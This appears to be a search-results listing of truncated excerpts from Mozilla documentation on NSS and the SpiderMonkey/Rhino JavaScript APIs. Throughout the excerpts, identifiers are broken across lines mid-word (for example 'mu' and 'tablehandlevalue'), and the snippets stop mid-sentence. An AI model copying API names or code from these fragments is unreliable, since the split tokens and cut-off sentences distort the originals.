s in sslt.h sslhandshaketype - the type of a tls handshake message. for the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in tls 1.3. please use the equivalent ssl_sig_rsa_pss_rsae_sha* for rsaencryption keys, or ssl_sig_rsa_pss_pss_sha* for pss keys. note that this release does not include support for the latter. no
table changes in nss 3.35 previously, nss used the dbm file format by default. starting with version 3.35, nss uses the sql file format by default. below, are explanations that could be helpful for environments that need to adopt to the new default. if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other ...
...ons, experimental functions return secfailure and set the ssl_error_unsupported_experimental_api code if the selected api is not available. experimental functions will always return this result if they are disabled or removed from a later nss release. if these experimental functions are made permanent in a later nss release, no change to code is necessary. (only apis exported in *.def files are s
table apis.) new experimental functionality provided below are descriptions of experimental functionality, which might not be available in future releases of nss. users of tls are now able to provide implementations of tls extensions, through an experimental custom extension api. see the documentation in sslexp.h for ssl_installextensionhooks for more information on this feature. several experime...
NSS 3.47 release notes
are available in nss releases. upcoming changes to default tls configuration the next nss team plans to make two changes to the default tls configuration in nss 3.48, which will be released in early december: tls 1.3 will be the default maximum tls version. see bug 1573118 for details. tls extended master secret will be enabled by default, where possible. see bug 1575411 for details. ...
... bug 1542...
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
ev1cert */ static certcertificate * makev1cert(certcertdbhandle *handle, certcertificaterequest *req, char * issuernickname, prbool selfsign, unsigned int serialnumber, int warpmonths, int validitymonths) { prexplodedtime prin
tabletime; prtime now; prtime after; certvalidity *validity = null; certcertificate *issuercert = null; certcertificate *cert = null; if ( !selfsign ) { issuercert = cert_findcertbynicknameoremailaddr(handle, issuernickname); if (!issuercert) { pr_fprintf(pr_stderr, "could not find certificate named %s\n", ...
...rtcertificate *cert = null; if ( !selfsign ) { issuercert = cert_findcertbynicknameoremailaddr(handle, issuernickname); if (!issuercert) { pr_fprintf(pr_stderr, "could not find certificate named %s\n", issuernickname); goto cleanup; } } now = pr_now(); pr_explodetime (now, pr_gmtparameters, &prin
tabletime); if ( warpmonths ) { prin
tabletime.tm_month += warpmonths; now = pr_implodetime (&prin
tabletime); pr_explodetime (now, pr_gmtparameters, &prin
tabletime); } prin
tabletime.tm_month += validitymonths; after = pr_implodetime (&prin
tabletime); /* note that the time is now in micro-second unit */ validity = cert_createvalidity (now, after); ...
nss tech note3
clients to use strong crypto. certusagesslca ............... an intermediate or root ca cert allowed to issue ssl client or ssl server certs or other intermediate ssl ca certs. certusageemailsigner ......... used to verify s/mime email signatures certusageemailrecipient ...... used to encrypt s/mime emails. certusageobjectsigner ........ used to verify signatures on files of execu
table code, e.g. jar files. certusagestatusresponder ..... used by an ocsp responder certusageverifyca ............ a ca of any kind. each cert has a "type" and a "key usage", each of which may contain one or more valid values. each of the above seccertusages translates into a required set of cert type and key usage for the certificate itself, and into another set of required cert type and key usage...
...09v3 extended key usage extension as oid { 2 5 29 37 } encoded in hex as 0x55, 0x1d, 0x25. that extension contains a sequence of oids, each of which signifies one or more cert types, depending on the presence or absence of of the true basic constraints extension; that is, the interpretation of the extended key usage extension is controlled by whether the cert is a ca cert, or not. the following
table shows the oids recognized in the extended key usage extension, and how they map to cert types and key usages for ca and non-ca certs. extended key usage oid non-ca cert ca cert ----------------------------------- -------------- ---------------- sec_oid_ext_key_usage_email_protect email_ca email_ca sec_oid_ext_key_usage_server_auth ssl_server ssl_ca sec_oid_ext_key_usage_client_auth ssl_clien...
NSS_3.12.3_release_notes.html
most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors. in anticipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables. ...
... dependent on the old behaviors, and may have difficulty with the new behaviors. in anticipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables. here is a
table of the new environment variables introduced in nss 3.12.3 and information about how they affect these new behaviors. ...
Scripting Java
org.mozilla.javascript package you could use importpackage() as follows: $ java org.mozilla.javascript.tools.shell.main js> importpackage(packages.org.mozilla.javascript); js> context.currentcontext; org.mozilla.javascript.context@bb6ab6 occasionally, you will see examples that use the fully qualified name of the package instead of importing using the importpackage() method. this is also accep
table, it just takes more typing. using a fully qualified name, the above example would look as follows: $ java org.mozilla.javascript.tools.shell.main js> jspackage = packages.org.mozilla.javascript; [javapackage org.mozilla.javascript] js> jspackage.context.currentcontext; org.mozilla.javascript.context@bb6ab6 alternatively, if you want to import just one class from a package you can do so using t...
...or example, the following code actually calls the file object's getname and isdirectory methods. js> f.name test.txt js> f.directory false calling overloaded methods the process of choosing a method to call based upon the types of the arguments is called overload resolution. in java, overload resolution is performed at compile time, while in rhino it occurs at runtime. this difference is inevi
table given javascript's use of dynamic typing as was discussed in chapter 2: since the type of a variable is not known until runtime, only then can overload resolution occur. as an example, consider the following java class that defines a number of overloaded methods and calls them. public class overload { public string f(object o) { return "f(object)"; } public string f(string s) { return ...
Rhino shell
s an array containing the strings of all the arguments given at the command line when the shell was invoked. environment returns the current environment object. history displays the shell command history. help() executing the help function will print usage and help messages. defineclass(classname) define an extension using the java class named with the string argument classname. uses scrip
tableobject.defineclass() to define the extension. deserialize(filename) restore from the specified file an object previously written by a call to serialize. gc() runs the garbage collector. load([filename, ...]) load javascript source files named by string arguments. if multiple arguments are given, each file is read in and executed in turn. loadclass(classname) load and execute the class name...
...to strings and denote command name and its arguments. if the last argument is a javascript object, it is an option object. otherwise it is converted to string denoting the last argument and options objects assumed to be empty. the following properties of the option object are processed: args - provides an array of additional command arguments env - explicit environment object. all its enumera
table properties define the corresponding environment variable names. input - the process input. if it is not java.io.inputstream, it is converted to string and sent to the process as its input. if not specified, no input is provided to the process. output - the process output instead of java.lang.system.out. if it is not instance of java.io.outputstream, the process output is read, converted to a st...
How to embed the JavaScript engine
xample above into a text editor and save the file as helloworld.cpp in the spidermonkey js\src directory. to get a copy of the code sample without line numbers, hover over the sample near the top until buttons appear. then click the view source button, and copy the code from the window that appears. compile the helloworld application and link to the spidermonkey library. run the helloworld execu
table at the command line: ./helloworld how to call c functions from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool. static bool doit(jscontext *cx, unsigned ar...
...tual parameters, set *rval to return a * value to the caller. * * ex. add two arguments as integer. * args.rval().setint32(args[0].toint32() + args[1].toint32()); */ return true; } then to wire it up to js, you could write: ok = js_definefunction(cx, global, "doit", doit, doit_minargs, 0); or, if you had a bunch of native functions to define, you would probably put them in a
table: static jsfunctionspec my_functions[] = { js_fn("doit", doit, doit_minargs, 0), /* etc... */ js_fs_end }; js_fs_end terminates the
table. and say: ok = js_definefunctions(cx, global, my_functions); how to call javascript functions from c first, create arguments for the call, here i create arguments with 2 items: // [spidermonkey 24] js::autovaluearray is not defined. // js::autovalu...
64-bit Compatibility
writer::insimmf() instead. mucking with native integers in lir the following opcodes can be used to safely load, modify, and compare native integers. for such opcodes there are two forms, an "undecorated" form which is 32-bit, and a form decorated with a "q" or "qi" that is 64-bit. to make it easier to generate platform specific code, these opcodes have aliases decorated with a "p". ...
...platforms, does nothing. on 64-bit platforms, performs a lir_i2q. ins_u2p() - on 32-bit platforms, does nothing. on 64-bit platforms, performs a lir_u2q. ins_p2i() - on 32-bit platforms, does nothing. on 64-bit platforms, performs a lir_qlo. a common use for extending values is to perform advanced addressing. for example, this code tries to load an index from an integer array, but it is not por
table: lir->insload(lir_ldp, lir->ins2(lir_piadd, arrayins, lir->ins2i(lir_mul, indexins, sizeof(int)) ), 0); the sanityfilter will assert on a 64-bit platform because lir_piadd (which will be lir_qiadd) needs both operands to be 64-bit. the correct code is, assuming the index is unsigned: lir->insload(lir_l...
JS::CallArgs
method description bool requireatleast(jscontext *cx, const char *fnname, unsigned required) returns true if there are at least required arguments passed in. if false, it reports an error message on the context. methods inherited from js::callargsbase method description unsigned length() const returns the number of arguments.. js::mu
tablehandlevalue operator[](unsigned i) const returns the i-th zero-indexed argument. js::handlevalue get(unsigned i) const returns the i-th zero-indexed argument, or undefined if there's no such argument. bool hasdefined(unsigned i) const returns true if the i-th zero-indexed argument is present and is not undefined. methods inherited from js::detail::callreceiverbase...
... being called as a constructor via new. the value may or may not be an object: it is the individual function's responsibility to box the value if needed. js::value computethis(jscontext *cx) const returns the this value if this is an object, otherwise calls js_computethis and returns it. bool isconstructing() const returns true if the function is called via new. mu
tablehandlevalue rval() const returns the currently-set return value. the initial contents of this value are unspecified. once this method has been called, callee() and calleev() can no longer be used. (if you're compiling against a debug build of spidermonkey, these methods will assert to aid debugging.) if the method you're implementing succeeds by returning true, you *must* set this. (s...
JS::CreateError
this article covers features introduced in spidermonkey 38 create an error object. syntax // added in spidermonkey 45 bool js::createerror(jscontext *cx, jsexntype type, handleobject stack, handlestring filename, uint32_t linenumber, uint32_t columnnumber, jserrorreport *report, handlestring message, mu
tablehandlevalue rval); // obsolete since jsapi 39 bool js::createerror(jscontext *cx, jsexntype type, handlestring stack, handlestring filename, uint32_t linenumber, uint32_t columnnumber, jserrorreport *report, handlestring message, mu
tablehandlevalue rval); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_...
...ename js::handlestring the value of error.prototype.filename. linenumber uint32_t the value of error.prototype.linenumber. columnnumber uint32_t the value of error.prototype.columnnumber. report jserrorreport * a pointer to jserrorreport instance. message js::handlestring the value of error.prototype.message. rval js::mu
tablehandlevalue out parameter. receives the created error object. description js::createerror creates an error object with specified properties. if successful, js::createerror stores the created error object to *rval and returns true, otherwise returns false and the value of *rval is undefined. see also mxr id search for js::createerror jsexntype jserrorreport bug 984048 bug 103823...
JS::PersistentRooted
or another, so using persistentrooted in such objects would introduce leaks. for these kinds of edges, heap<t> or tenuredheap<t> would be better types. it's up to the implementor of the type containing heap<t> or tenuredheap<t> members to make sure their referents get marked when the object itself is marked. js::persistentrooted<t> may be automatically coerced to a js::handle<t> and js::mu
tablehandle<t>. before spidermonkey 38, persistentrooted<t> itself cannot be a global variable, but from spidermonkey38, it can be declared as a global variable, and initialized later with init() method (bug 1107639). there are typedefs available for the main types: namespace js { typedef persistentrooted<jsfunction*> persistentrootedfunction; typedef persistentrooted<jsid> persistentro...
... ...
JS::ProtoKeyToId
*idp receives the converted id. ...
...*idp receives the converted id. description js::protokeytoid converts a specified js prototype key key, to a js id. js::protokeytoid stores a jsid to *idp. ...
JS::ToPrimitive
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...build, the caller must be in a request on this jscontext. obj js::handleobject the object to convert. hint jstype the hint to pass to the toprimitive and @@toprimitive method when converting the object. hint must be jstype_string or jstype_number to pass the corresponding type as a hint, or jstype_void to pass no hint. do not pass any other type. vp js::mu
tablehandleobject out parameter. on success, *vp receives the converted value. description js::toprimitive converts a javascript object, obj, to a primitive value using ecmascript 6 toprimitive. on success, js::toprimitive stores the converted value in *vp and returns true. on error or exception, it returns false, and the value left in *vp is undefined. see also mxr id search for js::to...
JSHasInstanceOp
bp bool * out parameter. on success, the callback stores the result of the type check in *bp. description jshasinstanceop is called to check whether v is an instance of obj. ...
... bp bool * out parameter. on success, the callback stores the result of the type check in *bp. description jshasinstanceop is called to check whether v is an instance of obj. ...
JSNewEnumerateOp
bjectops::enumerate. this callback overrides a portion of spidermonkey's default [[enumerate]] internal method. syntax typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, js::autoidvector &properties); // added in spidermonkeysidebar 38 typedef bool (* jsnewenumerateop)(jscontext *cx, js::handleobject obj, jsiterateop enum_op, js::mu
tablehandlevalue statep, js::mu
tablehandleid idp); // obsolete since jsapi 37 name type description cx jscontext * the context in which the enumeration is taking place. obj js::handleobject the object to be enumerated. properties js::autoidvector & out parameter. id array to populate with all property keys. enum_op jsiterateo...
...context * the context in which the enumeration is taking place. obj js::handleobject the object to be enumerated. properties js::autoidvector & out parameter. id array to populate with all property keys. enum_op jsiterateop obsolete since jsapi 37 specifies which step in iteration is happening. see the description below. statep js::mu
tablehandleid obsolete since jsapi 37 in/out parameter. the meaning depends on enum_op. see the description below. idp js::mu
tablehandleid obsolete since jsapi 37 in/out parameter. the meaning depends on enum_op. see the description below. description from spidermonkey 38, jsnewenumerateop is the type of objectops::enumerate. this callback overrides a portion of spidermonkey's...
JSNewResolveOp
s feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsnewresolveop is the type of the jsclass.resolve callback when the jsclass_new_resolve bit is set in the jsclass.flags field. syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandleobject objp); name type description cx jscontext * pointer to the js context in which the property access is taking place. obj js::handleobject pointer to the object whose properties are being accessed. id js::handleid name or index of the property being accessed. flags uint32_t obsolete since jsapi 31 flags giving c...
...xt * pointer to the js context in which the property access is taking place. obj js::handleobject pointer to the object whose properties are being accessed. id js::handleid name or index of the property being accessed. flags uint32_t obsolete since jsapi 31 flags giving contextual information about the ongoing property access. objp js::mu
tablehandleobject out parameter. on success, the resolve hook must set *objp to the object in which the property has been defined, or null if it was not defined. description like jsresolveop, but flags provide contextual information about the property access. on success, the callback must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its pr...
JSPropertyDescriptor
there is an attempt to set that property. value describes the value of the specified property, which can be any valid javascript value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. wri
table declare whether the specified attribute can be rewritten description a descriptor is a property that describes an object's properties. there are two main types of property descriptors that exist in an object: a data descriptor and an access descriptor. you can use the object.getownpropertydescriptor() function to get the corresponding property of an object. descriptor. examples the f...
... corresponding property of an object. descriptor. examples the following example demonstrates how to use the object.defineproperty() function to create a property under an object in a javascript via a descriptor. var language = {}; // define an empty object language object.defineproperty(language, 'log', { // define the log attribute under the language object value : ['cn','en'], wri
table : true, enumerable : true, configurable : true }) in the above example we defined a wri
table, dele
table enumerable property.this is the same as the javascript directly defined property. in other words, the above code is equivalent to the following code. var language = {}; // define an empty object language languange.log = ['cn','en']; // define the log attribute under the language obj...
JSPropertyOp
jspropertyop and jsstrictpropertyop are the type of property getter and setter callbacks in the jsapi. they are also the types of the jsclass.addproperty, getproperty, and setproperty callbacks, which are called during object property accesses. syntax typedef bool (* jspropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandlevalue vp); typedef bool (* jsstrictpropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mu
tablehandlevalue vp); // added in spidermonkey 1.9.3 name type description cx jscontext * the context in which the property access is taking place. provides request. in js_threadsafe builds, the javascript engine calls this callback only from ...
...est()). obj js::handleobject the object whose properties are being accessed. id js::handleid the name or index of the property being accessed. this is either a string (unicode property identifier) or an integer (element index). strict bool (jsstrictpropertyop only) if strict is true, treating the assignment as strict mode code. vp js::mu
tablehandlevalue in/out parameter. points to a js::value variable. the meaning of this variable is different for each of the hooks; see below. description jspropertyop and jsstrictpropertyop callbacks are hooks that applications may install to be called at some point during property access. a jspropertyop may be installed on an individual property as a getter or setter; or it may be installe...
JS_ConvertValue
obsolete since jsapi 38this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. converts a javascript value to a value of a specific javascript type. syntax bool js_convertvalue(jscontext *cx, js::handlevalue v, jstype type, js::mu
tablehandlevalue vp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v js::handlevalue the value to convert. type jstype the type to which the value is to be converted. type must be one of jstype_void, jstype_object, jstype_function, jstype_string, jstype_number, ...
...ires request. in a js_threadsafe build, the caller must be in a request on this jscontext. v js::handlevalue the value to convert. type jstype the type to which the value is to be converted. type must be one of jstype_void, jstype_object, jstype_function, jstype_string, jstype_number, or jstype_boolean. otherwise js_convertvalue reports an error. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the converted value. description js_convertvalue converts a javascript value, v, to the specified type. on success, the converted value is stored in *vp. typically users of this function set vp to point to v, so that if conversion is successful, v now contains the converted value. js_convertvalue calls other, type-specific conversion ...
JS_DefaultValue
e it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.6 converts a javascript object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook. renamed to js::toprimitive from jsapi 44. syntax bool js_defaultvalue(jscontext *cx, js::handle<jsobject*> obj, jstype hint, js::mu
tablehandle<js::value> vp); name type description cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> the object to convert. hint jstype the hint to pass to the [[defaultvalue]] hook when converting the ob...
...afe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> the object to convert. hint jstype the hint to pass to the [[defaultvalue]] hook when converting the object. hint must be jstype_string or jstype_number to pass the corresponding type as a hint, or jstype_void to pass no hint. do not pass any other type. vp js::mu
tablehandle<js::value> out parameter. on success, *vp receives the converted value. description js_defaultvalue converts a javascript object, obj, to a primitive value using that object's [[defaultvalue]] hook. ecmascript specifies that all objects have a [[defaultvalue]] hook. objects with classes defined by ecmascript itself all use the [[defaultvalue]] algorithm specified in §8.12.
JS_DefineOwnProperty
cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object on which the property should be defined own. id js::handleid the jsid of the property that should be defined. descriptor js::handlevalue this should be an jsval consisting of an object interpre
table as property descriptor. bp bool * true if successful. description js_defineownproperty implements the ecmascript defined function object.defineproperty. so the same restrictions apply as for that function (e.g. it is not possible to change a non-configurable property). descriptor is supposed to be a property descriptor, this means you need to create an object with properties ...
...iptor. bp bool * true if successful. description js_defineownproperty implements the ecmascript defined function object.defineproperty. so the same restrictions apply as for that function (e.g. it is not possible to change a non-configurable property). descriptor is supposed to be a property descriptor, this means you need to create an object with properties such as value, wri
table, get or set. see object.defineproperty for a list of possible fields. a getter or setter defined with this functions will be observable from js code. see also js_setproperty js_getpropertydescriptorbyid object.defineproperty bug 1017323 ...
JS_ExecuteRegExp
execute a new regexp object to given input string. syntax bool js_executeregexp(jscontext *cx, js::handleobject obj, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mu
tablehandlevalue rval); bool js_executeregexpnostatics(jscontext *cx, js::handleobject reobj, char16_t *chars, size_t length, size_t *indexp, bool test, js::mu
tablehandlevalue rval); name type description cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject a pointer to a global object. reobj js::handleobject ...
...nst char16_t * a pointer to the string contains a input string. length size_t the length of bytes or chars, in characters. indexp size_t * in/out parameter. a pointer to the lastindex for the execution, and received the updated lastindex. test bool pass true to avoid creating match result array and store boolean value to rval. rval js::mu
tablehandlevalue out parameter. receives the result match result array or boolean value. description js_executeregexp and js_newregexpobjectnostatics execute the regexp object, reobj, to the specified input string, chars, from *indexp index. if test is false, js_executeregexp and js_newregexpobjectnostatics store the match result array to *rval if matches, otherwise stores null to *rval. if t...
JS_ForwardGetPropertyTo
this article covers features introduced in spidermonkey 17 find a specified property and retrieve its value. syntax bool js_forwardgetpropertyto(jscontext *cx, js::handleobject obj, js::handleid id, js::handleobject onbehalfof, js::mu
tablehandlevalue vp); bool js_forwardgetelementto(jscontext *cx, js::handleobject obj, uint32_t index, js::handleobject onbehalfof, js::mu
tablehandlevalue vp); name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. id or index js::handleid or uint32_t name or index of the property to look up. ...
... cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. id or index js::handleid or uint32_t name or index of the property to look up. onbehalfof js::handleobject object to receive getter invocation. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. description js_forwardgetpropertyto is the base implementation of js_getproperty, js_getucproperty, js_getpropertybyid etc, where onbehalfof is same to obj. onbehalfof is receiver in [[get]] internal method of proxy, defined in es2015 draft spec (rev 29, 9.5...
JS_GetClassObject
if successful, receive the class constructor. description js_getclassobject gets the builtin class costructor for the specified prototype key. ...
...if successful, receive the class constructor. description js_getclassobject gets the builtin class costructor for the specified prototype key. ...
JS_GetClassPrototype
if successful, receive the class prototype object. description js_getclassprototype gets the builtin class costructor for the specified prototype key. ...
...if successful, receive the class prototype object. description js_getclassprototype gets the builtin class costructor for the specified prototype key. ...
JS_GetOwnPropertyDescriptor
get a detailed description of that property. syntax bool js_getownpropertydescriptor(jscontext *cx, js::handleobject obj, const char *name, js::mu
tablehandle<jspropertydescriptor> desc); bool js_getownpropertydescriptorbyid(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandle<jspropertydescriptor> desc); bool js_getownucpropertydescriptor(jscontext *cx, js::handleobject obj, const char16_t *name, js::mu
tablehandle desc); // added in spidermonkey 45 name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for...
...dded in spidermonkey 45 name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the property. id const char * or js::handleid or const char16_t the name of the property to look up. desc js::mu
tablehandle<jspropertydescriptor> out parameter. on success, if no property is found, desc->obj is set to null. if a property is found, *desc receives a description of it. description js_getownpropertydescriptor and js_getownpropertydescriptorbyid get a detailed description of that property (returned in desc->obj). if desc->obj is null, then this property was not found on the prototype...
JS_GetPendingException
on success, *vp receives the current pending exception. description if an exception has been thrown in the context cx, and it has not yet been caught or cleared, js_getpendingexception stores the exception object in *vp and returns true. ...
...on success, *vp receives the current pending exception. description if an exception has been thrown in the context cx, and it has not yet been caught or cleared, js_getpendingexception stores the exception object in *vp and returns true. ...
JS_GetPropertyDefault
although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 finds a specified property and retrieves its value or provided default value. syntax bool js_getpropertydefault(jscontext *cx, jsobject *obj, const char *name, jsval def, js::mu
tablehandle<js::value> vp); bool js_getpropertybyiddefault(jscontext *cx, jsobject *obj, jsid id, jsval def, js::mu
tablehandle<js::value> vp); name type description cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for t...
...n cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or js::handleid name of the property to look up. def js::handlevalue default value if the property is not found. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. description js_getpropertydefault examines a specified js object obj and its prototype chain for a property with the specified name. on success, these functions set *vp to the current value of the property, or def if obj has no such property, and return true. o...
JS_GetPrototype
if successful, receives prototype object of obj. description js_getprototype retrieves the prototype of a specified object, obj. ...
...if successful, receives prototype object of obj. description js_getprototype retrieves the prototype of a specified object, obj. a prototype object provides properties inherited by similar js objects. this is the equivalent of object.getprototypeof(obj) from javascript. ...
JS_IdToValue
on success, *vp receives the converted value. description js_idtovalue converts a specified js id, id, to a js value. on success, js_idtovalue stores the converted value in *vp and returns true. otherwise it returns false. ...
...on success, *vp receives the converted value. description js_idtovalue converts a specified js id, id, to a js value. on success, js_idtovalue stores the converted value in *vp and returns true. otherwise it returns false. the inverse of js_idtovalue is js_valuetoid. ...
JS_MapGCRoots
the root is pointed at by rp; if the root is unnamed, name is null; data is supplied from the third parameter to js_mapgcroots. the map function should return js_map_gcroot_remove to cause the currently enumerated root to be removed. to stop enumeration, return js_map_gcroot_stop. to continue mapping, return js_map_gcroot_next. these constants are flags; you can or the...
...; data is supplied from the third parameter to js_mapgcroots. the map function should return js_map_gcroot_remove to cause the currently enumerated root to be removed. to stop enumeration, return js_map_gcroot_stop. to continue mapping, return js_map_gcroot_next. these constants are flags; you can or them together. this function acquires and releases rt's gc lock around the mapping of the roots
table, so the map function should run to completion in as few cycles as possible. the map function cannot call js_gc, js_maybegc, js_beginrequest, or any js api entry point that acquires locks, without double-tripping or deadlocking on the gc lock. js_mapgcroots returns the count of roots that were successfully mapped. see also bug 803907 ...
JS_SetElement
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to modify, commonly an array object. index uint32_t index number of the element to set. v js::handlev...
...fe build, the caller must be in a request on this jscontext. obj js::handleobject the object to modify, commonly an array object. index uint32_t index number of the element to set. v js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double the value to assign to the element. added in spidermonkey 31 vp js::mu
tablehandlevalue in/out parameter. *vp is the value to assign to the element. js_setelement ordinarily leaves *vp unchanged, but a jsclass.addproperty hook or non-default setter may modify it. obsolete since jsapi 29 description js_setelement assigns a value to a numeric property of an object. it behaves like the javascript expression obj[index] = v. on success, js_setelement returns true. on ...
JS_ValueToObject
on success, *objp receives null or a pointer to the resulting object. description js_valuetoobject converts a specified javascript value, v, to an object. ...
...on success, *objp receives null or a pointer to the resulting object. description js_valuetoobject converts a specified javascript value, v, to an object. on success, this function stores either null or a pointer to the resulting object in *objp and returns true. ...
JSAPI reference
added in spidermonkey 17 class js::handlefunction added in spidermonkey 17 class js::handleid added in spidermonkey 17 class js::handleobject added in spidermonkey 17 class js::handlescript added in spidermonkey 17 class js::handlestring added in spidermonkey 17 class js::handlesymbol added in spidermonkey 38 class js::handlevalue added in spidermonkey 17 class js::mu
tablehandle<t> added in spidermonkey 17 class js::mu
tablehandlefunction added in spidermonkey 17 class js::mu
tablehandleid added in spidermonkey 17 class js::mu
tablehandleobject added in spidermonkey 17 class js::mu
tablehandlescript added in spidermonkey 17 class js::mu
tablehandlestring added in spidermonkey 17 class js::mu
tablehandlesymbol added in spidermonkey 38 class js::mut...
... js_internstring js_internstringn js_internucstring js_internucstringn js_internjsstring added in spidermonkey 1.8.5 js_string...
SpiderMonkey 1.8.8
s_new_resolve_gets_start flag js_newnumbervalue api changes break out and discuss all api changes here... jsclass prototype has changed a number of optional members have been removed from the jsclass prototype. jsclass callback changes many of the jsclass callbacks such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemu
tableobject etc. atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the callback function. removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where previously it also required a jscontext* in threadsafe builds. (the js_get_class macro abstracting away this difference has accordingly b...
...dsafe builds. (the js_get_class macro abstracting away this difference has accordingly been removed.) javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction include-followup-on-experimental-library-versioning-scheme-here spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tinyids js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. release notes errata this is a list of changes which need to be made to the release notes asap. feel free to...
SpiderMonkey 1.8
oks. it was possible to configure spidermonkey 1.7 to treat c/c++ char strings as utf-8 by compiling with a non-default compiler option. in spidermonkey 1.8, it is no longer necessary to make a special build to get this behavior. applications can turn on utf-8 at run time by calling js_setcstringsareutf8. js_encodestring is a new variation on js_getstringbytes that returns a newly allocated, wri
table buffer which the application must js_free. js_reportallocationoverflow can be used (instead of js_reportoutofmemory) to indicate that the script is trying to do something that would require more memory than the implementation is designed to handle. the main difference is that js_reportallocationoverflow throws an exception which the application may catch. js_throwstopiteration throws the approp...
...an help detect leaks. a new gc parameter, jsgc_stackpool_lifespan, controls how eagerly spidermonkey returns unused memory back to the system. the new function js_setextragcroots provides another way to protect values from garbage collection. there is a new set of apis for integrating spidermonkey's garbage collector with other memory management systems. these apis are undocumented but fairly s
table. the apis include the new jstraceop callback. new javascript shell functions there are a few new built-in functions in the javascript shell, mostly useful for testing. countheap, dumpheap, gcparam, gczeal, and stackquota are related to memory management. sleep and scatter, defined in <href="internal" a="" class="/en/spidermonkey/jsapi_reference/js_threadsafe" title="en/spidermonkey/jsapi ref...
SpiderMonkey 17
class_mark_is_trace flag js_setscriptstackquota api changes break out and discuss all api changes here... jsclass prototype has changed a number of optional members have been removed from the jsclass prototype. jsclass callback changes many of the jsclass callbacks such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemu
tableobject etc. atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the callback function. removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where previously it also required a jscontext* in threadsafe builds. (the js_get_class macro abstracting away this difference has accordingly b...
...instead of a context. the one exception to this is js_maybegc which still takes a context as argument. javascript shell changes detail added/removed methods here... known issues detail any known issues here... future direction include-followup-on-experimental-library-versioning-scheme-here spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi s
table for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tinyids js_threadsafe is going away, with future versions supporting only thread-safe builds a new debugging api is on the way to replace jsd. in the future every api is going to take handles instead of raw pointers. exact stack rooting is requirement...
SpiderMonkey 24
me things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes. many of the garbage collector changes require type signature changes to jsapi methods: specifically introducing js::rooted, js::handle, and js::mu
tablehandle types. these types, with the appropriate parametrizations, can roughly be substituted for plain types of gc things (values, string/object pointers, etc.). these and other changes are explained in detail below. new javascript language features javascript 24 includes significant updates to language features, yo. typedef changes the fixed-size integer types introduced in spidermonkey 17...
